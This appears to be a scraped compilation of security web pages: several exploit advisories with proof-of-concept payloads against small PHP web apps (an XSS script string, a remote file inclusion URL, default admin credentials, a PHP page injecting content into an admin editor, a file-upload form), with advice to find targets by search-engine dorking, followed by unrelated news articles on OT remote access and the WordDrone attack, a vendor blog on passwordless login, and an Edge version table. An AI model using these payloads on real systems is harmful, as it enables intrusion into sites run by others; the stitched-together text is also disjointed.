Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Passion Responsive Blogging 1.0 Cross Site Scripting

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

Posted Sep 11, 2024

Authored by indoushka

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, xss, file inclusion

SHA-256 | 0573d4aa4fad74ba21dfae8c95d8a0ef8922ce6bbbf5c65fcd1a8b98424e3d9e

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**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

    =============================================================================================================================================| # Title     : Online Survey System 1.0 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg[+] http://127.0.0.1/survey/index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion

Online Birth Certificate System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Online Birth Certificate System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/obcs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Online Birth Certificate System 1.0 Insecure Settings

Medical Card Generations System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Medical Card Generations System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/mcgs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Medical Card Generations System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffer from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . 

   [+] Line 2  :  Make sure to include your database connection here

[+] Line 44 :  Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload : 

<?php  
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {  
    $pagetitle = $_POST['pagetitle'];  
    $pagedes = $con->real_escape_string($_POST['pagedes']);  
    $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

    if ($query) {  
        echo '<script>alert("About Us has been updated.")</script>';  
    } else {  
        echo '<script>alert("Something Went Wrong. Please try again.")</script>';  
    }  
    exit;  
}  
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>indoushka | Update About Us Content</title>  
      
    <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>  
    <script type="text/javascript">  
        // Apply NicEdit to all text areas when the DOM is loaded  
        bkLib.onDomLoaded(nicEditors.allTextAreas);

        // Function to handle form submission using JavaScript  
        function submitForm(event) {  
            event.preventDefault(); // Prevent default form submission

            const pagetitle = document.getElementById('pagetitle').value;  
            const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

            // Prepare the form data to be sent  
            const formData = new FormData();  
            formData.append('pagetitle', pagetitle);  
            formData.append('pagedes', pagedes);  
            formData.append('submit', true);

            // Send the form data using fetch API  
            fetch('http://127.0.0.1/eahp/admin/about-us.php', {  
                method: 'POST',  
                body: formData,  
            })  
            .then(response => response.text())  
            .then(data => {  
                alert('About Us content has been updated successfully.');  
                console.log(data); // Handle the response from the server  
            })  
            .catch(error => {  
                console.error('Error:', error);  
            });  
        }  
    </script>  
    <style>  
        /* Center the form container */  
        .editor-container {  
            max-width: 800px;  
            margin: 0 auto; /* Center horizontally */  
            padding: 20px;  
            text-align: center; /* Center the content inside */  
        }

        /* Ensure the textarea takes the full width */  
        #pagedes {  
            width: 100%;  
            height: 300px;  
            margin: 0 auto;  
        }  
    </style>  
</head>  
<body>  
    <div id="app">  
        <div class="app-content">  
            <div class="main-content">  
                <div class="wrap-content container" id="container">  
                      
                    <section id="page-title">  
                        <div class="row">  
                            <div class="col-sm-8">  
                                <h1 class="mainTitle">Update the About Us Content</h1>  
                            </div>

                                                          </li>  
                            </ol>  
                        </div>  
                    </section>  
                      
                    <div class="container-fluid container-fullw bg-white">  
                        <div class="row">  
                            <div class="col-md-12">  
                                  
                                <div class="editor-container">  
                                    <form class="forms-sample" method="post" onsubmit="submitForm(event);">  
                                        <div class="form-group">  
                                            <label for="pagetitle">Page Title</label>  
                                            <input id="pagetitle" name="pagetitle" type="text" class="form-control" required>  
                                        </div>  
                                        <div class="form-group">  
                                            <label for="pagedes">Page Description</label>  
                                              
                                            <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>  
                                        </div>  
                                        <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>  
                                    </form>  
                                </div>  
                            </div>  
                        </div>  
                    </div>  
                      
                </div>  
            </div>  
        </div>  
    </div>  
      
</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Printable Staff ID Card Creator System version 1.0 suffers from an insecure direct object reference vulnerability.

=============================================================================================================================================  
| # Title     : printable staff id card creator system 1.0 idor Vulnerability                                                               |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/printable-staff-id-card-creator-system-source-code/?wpdmdl=6749&refresh=66bbc00367bf91723580419               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Insecure direct object reference: Suffering from an insecure direct object reference that allows users to upload and execute remote files. .

[+] Line : 8 Set your Target

[+] Save As poc.html

[+] payload :

<<div class="modal-content" style="font-size: 14px; font-family: Times New Roman;color:black;">  
      <div class="modal-header" style="background:#222d32">  
        <button type="button" class="close" data-dismiss="modal">×</button>  
        <h4 class="modal-title" style="font-weight: bold;color: #F0F0F0"><center>  
          SYSTEM INFORMATION INITIALISATION  
          </center></h4>  
      </div>  
        <form method="post" action="http://127.0.0.1/Staff_registration/upload.php" enctype="multipart/form-data">            

      <div class="modal-body">           
        <center>   
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp;&nbsp;Org Name:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgname"></span></p>  
              <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Phone:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgphone"></span></p>  
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgemail"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp;Website:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgwebsite"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">Active Year:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgyear"></span></p>  
                  Attach Organisation Logo:(<h7 style="color:red">Make sure it is a transparent image</h7>)<input name="filed" type="file" id="filed">  
                                      <input type="hidden" name="page" value="admin.php">                                                                      
         </center>  
      </div>  
      <div class="modal-footer">  
        <input type="submit" class="btn btn-success" value="Finish" id="addmember" name="orginitial"> &nbsp;  
        <button type="button" class="btn btn-success" data-dismiss="modal">Close</button>  
      </div>  
      </form></div>

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Printable Staff ID Card Creator System 1.0 Insecure Direct Object Reference

A veritable grab bag of tools used to access critical infrastructure networks are wildly insecure, and they're blobbing together to create a widening attack surface.

Source: Agencja Fotograficzna Caro via Alamy Stock Photo

The exploding demand for remote access into today's industrial control systems (ICS) and operational technology (OT) systems has created a nebulous, Internet-connected attack surface that's too attractive for cyberattackers to ignore. And cleanup is not going to be a simple affair.

Far too many ICS networks are being accessed by employees, partners, suppliers, and customers using a slapped-together mousetrap of tools, leaving these environments woefully exposed while connected to the Internet, according to researchers.

In a new analysis, Claroty's Team82 looked at 50,000 individual remote access-enabled devices running on industrial networks with dedicated OT hardware, and found 55% to have at least four remote access tools (RATs) in their environments. A full third (33%) reported using six or more RATs. Some organizations reported using up to 16 different of them.

Industries represented in the examples examined by the Team82 researchers included pharmaceuticals, consumer goods, food and beverage, automotive, oil and gas, mining, and manufacturing — many of which are considered critical infrastructure sectors.

"Within critical infrastructure, there is sometimes a bigger physical risk associated with a breach, depending on the jeopardized device," says Tal Laufer, Claroty's vice president of products, secure access. "That being said, all organizations with this type of tool sprawl are at risk, since it can create security gaps in their networks for threat actors to exploit."

Making matters even more complicated for cybersecurity teams, the Team82 report found that 79% of the organizations they surveyed have more than two remote access management tools in their environment that don't meet basic enterprise-grade security standards.

"Most of these tools lack the session recording, auditing, and role-based access controls that are necessary to properly defend an OT environment," the Team82 report said. "Some lack basic security features such as multi-factor authentication (MFA) options, or have been discontinued by their respective vendors and no longer receive feature or security updates."

**Cyberattackers Notice Sprawling OT Remote Access Attack Surface**

Adversaries are already well aware of the malicious possibilities that these remote access tools unlock — and have been for several years.

Laufer notes that several massive breaches in recent years have been the result of misconfigured remote access tools, including Colonial Pipeline in 2021 and Change Healthcare earlier this year.

As far back as 2020, analysts at Kaspersky warned about the risk of cyberattacks against remote access tools like TeamViewer and RMS to breach ICS environments. And in January 2023, CISA joined with the NSA to issue a warning that adversaries were launching widespread campaigns against remote management systems like AnyDesk to breach federal agencies.

Those warnings have played out: A threat actor was discovered attempting to drop XMRing cryptominer malware using TeamViewer in May 2023. Likewise, the remote access tool TeamViewer was targeted in failed attempts to compromise systems by LockBit 3.0 ransomware group in early 2024. Similarly, remote access tool production systems were compromised at AnyDesk last February, forcing the vendor to revoke all of its security clearances and reset all Web portal passwords.

Despite these warnings, ICS/OT operators are in a particularly tough spot without a clear path toward protecting themselves. The Team82 findings demonstrate how the sheer number of these tools can easily pile up within an environment, creating an ever-creeping blob of remote access surface area ripe for adversaries to probe for success. As the report detailed, each tool brings along with it its own supply chain weaknesses, often including a lack of basic, best-practice security features like MFA, auditing, and session recording.

Compounding the issue is a basic lack of monitoring, detection, and policy control tooling that works across disparate remote access systems, leaving them open to misconfigurations, as messy policy and control management, the report added.

The report added that managing all these various RATs, and the hardware behind them, is an expensive operational proposition.

**OT Remote Access Cleanup**

Unsurprisingly, the first step on the path to securing remote access for ICS/OT networks is to get a full inventory of the tools that provide access to OT assets, according to the report.

"A critical first step is ensuring you have complete visibility into your organization’s OT network to understand how many and which solutions are providing access to OT assets and industrial control systems (ICS)," Laufer explains.

Next, those solutions that don't meet basic enterprise cybersecurity requirements need to go — pronto.

"From there, engineers and assets managers need to actively eliminate or minimize the use of low-security remote access tools in the OT environment — especially taking into consideration those with known vulnerabilities or those lacking essential security features such as MFA," the researcher stresses.

It's also crucial to develop and require baseline security standards across the organization's supply chain. "Beyond this, security teams should also govern the use of remote access tools connected to OT and ICS," Laufer says. "This can help with alignment of security requirements and expansion of those requirements as needed throughout third parties within the supply chain."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

Remote Access Sprawl Strains Industrial OT Network Security

An attack dubbed "WordDrone" that uses an old flaw to install a backdoor could be related to previously reported cyber incidents against Taiwan's military and satellite industrial supply chain.

Source: Ron Ardity via Alamy Stock Photo

Attackers are weaponizing an "ancient" version of Microsoft Word in a recent wave of attacks on Taiwanese drone makers that's delivering malware aimed at cyber espionage and disrupting the military- and satellite-related industrial supply chains.

Researchers from the Acronis Threat Research Unit have discovered an attack they've dubbed "WordDrone" that uses a dynamic link library (DLL) side-loading technique common in the installation process of Microsoft Word, to install a persistent backdoor called ClientEndPoint on infected systems.

The Acronis team members discovered the unusual attack vector when they investigated a customer escalation from Taiwan "about a strangely behaving process of an ancient version of Microsoft Word," they wrote in a blog post published Sept. 10.

"Three files were brought to the system: a legitimate copy of Winword 2010, a signed wwlib.dll file, and a file with a random name and file extension," they wrote in the post. "Microsoft Word was used to side load the malicious 'wwlib' DLL, which acts as a loader for the actual payload, the one residing inside the encrypted file with a random name."

They eventually found similar two-stage attack scenarios across multiple environments between April and July this year. The first stage of the attacks focuses on Windows desktop machines, while the second stage sees attackers trying to move over to Windows servers, the researchers said.

**Similarities to "TIDrone" Campaign**

It's unclear if the attack vector is related to a similar wave of cyber incidents against Taiwanese drone makers by a threat actor dubbed "TIDrone" reported by researchers at Trend Micro. That actor, linked to other Chinese-speaking threat groups, uses enterprise resource planning (ERP) software or remote desktop tools to deploy proprietary malware.

Similarly, the WordDrone attack also appears to have an ERP component, the researchers said. While they couldn't find "definitive evidence about how attackers were gaining initial access," the first appearance of the malicious files in the attack was inside the folder of a popular Taiwanese ERP software called Digiwin.

"Upon further investigation, we found multiple components of Digiwin … being deployed in the target environments," the researchers wrote. Moreover, some of Digiwin's components contained known vulnerabilities like CVE-2024-40521, a remote code execution (RCE) flaw with a CVSS score of 8.8.

"Based on all the information collected, we believe that there is high probability of exploitation or a supply chain attack being involved with the ERP software in question," the researchers noted.

**Targeting a Side-Loading Flaw**

The attack leverages a side-loading vulnerability in an old version of Winword (v14.0.4762.1000) allowing attackers to use it to load a DLL that has a name matching the original supplied by Microsoft.

"In the very same directory where Winword was located, we could see only two additional files, a ... DLL called wwlib.dll, which is normally part of a standard Microsoft Office installation package — this time having an unusually small size — and another file called 'gimaqkwo.iqq' which already looked suspicious," the researchers explained.

Upon further inspection, the wwlib library turned out to be acting as a loader with the sole purpose of reading the main payload that is stored in the encrypted "gimaqkwo.iqq" file in the same directory, they said. The file name of the payload — the ClientEndPoint backdoor — is stored in an encrypted form in the loader.

The backdoor has functionality typical to this type of malware, including the ability to listen in on user sessions, send and receive commands from the attacker-controlled command and control (C2), and exfiltrate data and send it back to the C2. It also has a proxy configuration mode in which one infected host can receive data and commands from another infected host on the local network while only one of them is in direct communication with the C2.

**Why Target Taiwanese Drone Makers?**

The fact that two separate security research teams have been investigating a spate of cyberattacks against Taiwanese drone makers brings up the question of motive on the part of attackers, which the Acronis team attempted to address.

Drone manufacturing has increased remarkably in Taiwan since 2022, with significant financial backing from the government, the researchers noted. There currently are about a dozen Taiwanese companies in the space  — often providing components for original equipment manufacturers (OEMs) — and even more if the country's global aerospace industry is taken into consideration, they said.

This investment in drone manufacturing and the considerable technological prowess of Taiwan, as well as its position as a US ally, "make them a prime target for adversaries interested in military espionage or supply chain attacks," the researchers observed.

"The extreme growth of the drone industry in the past decade also had an unfortunate side effect — even consumer models are used for military purposes now," they wrote in the post.

The research team shared their intelligence with Taiwan's appropriate cybersecurity authorities and included a list of indicators of compromise (IoCs) in the blog post. As drone makers of all sizes could be targeted by WordDrone attacks, defenders should be mindful of any suspicious activity, especially as it relates to older versions of Microsoft Word that might be present in their environment. Small businesses in the sector in particular should be mindful and shore up defenses, the researchers wrote, "as traditional AV solutions are no longer efficient against the type of advanced threats they might face in the near future."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

'Ancient' MSFT Word Bug Anchors Taiwanese Drone-Maker Attacks

Imagine a world where you never have to remember another password. Seems like a dream come true for both end users and IT teams, right? But as the old saying goes, "If it sounds too good to be true, it probably is." 
If your organization is like many, you may be contemplating a move to passwordless authentication. But the reality is that a passwordless security approach comes with its own

Password Security / Identity Management

Imagine a world where you never have to remember another password. Seems like a dream come true for both end users and IT teams, right? But as the old saying goes, "If it sounds too good to be true, it probably is."

If your organization is like many, you may be contemplating a move to passwordless authentication. But the reality is that a passwordless security approach comes with its own set of pitfalls and perils. In this post, we'll discuss the real-world complexity of going passwordless and explore why strengthening your existing password protocols may be the simpler solution.

**The appeal of passwordless authentication**

Password-related vulnerabilities pose a major threat to organizational security. According to research by LastPass, a full 80% of data breaches stem from weak, reused, or compromised passwords. This sobering statistic highlights the appeal of passwordless systems, which offer a way to completely circumvent the risks associated with traditional passwords.

Passwordless authentication — including methods like biometrics, security keys, or magic links — offers several benefits:

*   **Enhanced security:** By eliminating the need for users to create and remember complex credentials, passwordless authentication systems significantly reduce the risk of breaches caused by human error.
*   **Improved end user experience:** Passwordless authentication is desirable from an end-user perspective. After all, who relishes the challenge of remembering multiple complex passwords across various accounts?
*   **Reduced IT burden:** Passwordless solutions promise to lighten IT teams' administrative load by decreasing password reset requests and related support tickets.

Interested to know how many of your end users are currently using breached or compromised passwords? Run a read-only scan of your Active Directory today – download Specops Password Auditor for free.

**The challenges of going passwordless**

Despite the benefits, organizations face numerous challenges when considering a move to passwordless authentication:

1.  **Legacy system compatibility:** Many businesses rely on a mix of modern and legacy systems — some of which may not support passwordless authentication methods. And updating or replacing these systems can be costly and time-consuming, often requiring significant changes to existing infrastructure.
2.  **User adoption and training:** While passwordless methods may be intuitive to tech-savvy users, they can confuse others. Your organization may need to invest in comprehensive training to ensure all employees can effectively use the new authentication system.
3.  **Backup authentication methods:** Even with passwordless primary authentication, most systems still require a backup method — which tends to be a traditional password. This means passwords don't truly disappear; they just become less visible, potentially leading to weaker security practices around these "hidden" passwords.
4.  **Biometric data privacy concerns:** Many passwordless solutions rely on biometric data, such as fingerprints or facial recognition. This raises important questions about data privacy and storage. Your organization must carefully consider the legal (and ethical) implications of collecting and managing this type of sensitive information.
5.  **Hardware requirements:** Some passwordless solutions require specific hardware, such as fingerprint readers or security keys. Equipping your organization with these devices can be expensive, especially if you have a large or distributed workforce.
6.  **Interoperability challenges:** In environments where employees need to access multiple systems and applications, it can be tricky for your IT team to ensure seamless interoperability between different passwordless solutions.
7.  **Regulatory considerations:** Depending on your industry and location, your business may face regulatory requirements that impact your choice of authentication methods. Some regulations may mandate specific security measures or data protection practices that could influence your decision between passwordless and traditional password systems.

**Strategies to improve password security**

Given these challenges, your organization may find that enhancing your existing password security measures is a more practical, cost-effective solution. To boost your current password security efforts, consider implementing these strategies:

*   **Enforce robust password policies:** Implementing strong password requirements — like minimum length and complexity — can improve your security. But remember: frustrated end users look for password policy workarounds. Balance your need for security with usability by encouraging the creation of passphrases.
*   **Use multi-factor authentication (MFA):** Adding an additional layer of security through MFA can reduce the risk of unauthorized access, even if a password is compromised.
*   **Employ password management tools:** Password management solutions can help your employees quickly generate and store strong, unique passwords for all their accounts, lessening the risk of password reuse.
*   **Provide regular security training:** Educating your end users about password hygiene best practices and how to recognize phishing attempts can reduce security breaches.
*   **Continuously monitor for compromised credentials:** Consider implementing solutions to detect and alert when employee credentials appear in known data breaches. This early warning will allow you to mitigate potential threats quickly.

To further enhance your efforts, your organization may want to integrate specialized tools into your security strategy. For example, tools like Specops Password Policy work with Active Directory to enhance password security across your organization.

With Specops Password Policy, you can:

*   Customize password complexity requirements
*   Give users real-time feedback during password creation
*   Detect and prevent the use of compromised passwords
*   Gain insights with detailed reporting and compliance tools

By implementing a tool like Specops Password Policy, your business can improve its password security posture without completely overhauling its authentication systems. This approach provides a balanced solution that addresses your immediate security needs while helping your business prepare for future authentication technologies.

**A balanced approach to passwords vs. passwordless**

While passwordless authentication is appealing, it remains a long-term goal for many organizations rather than an immediate solution. The implementation challenges — from legacy system compatibility to user adoption — make it a complex, potentially expensive endeavor.

In the meantime, your business can enhance password security by developing robust policies, deploying multi-factor authentication to gain another layer of protection, and investing in specialized tools like the Specops Password Policy. This balanced approach will help you achieve security benefits without having to completely shift your organization's security approach.

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Why Is It So Challenging to Go Passwordless?

**What is the version information for this release?**

Microsoft Edge Channel

Microsoft Edge Version

Based on Chromium Version

Date Released

Stable

128.0.2739.42

128.0.6613.84/.85

8/22/2024

Tag

#vulnerability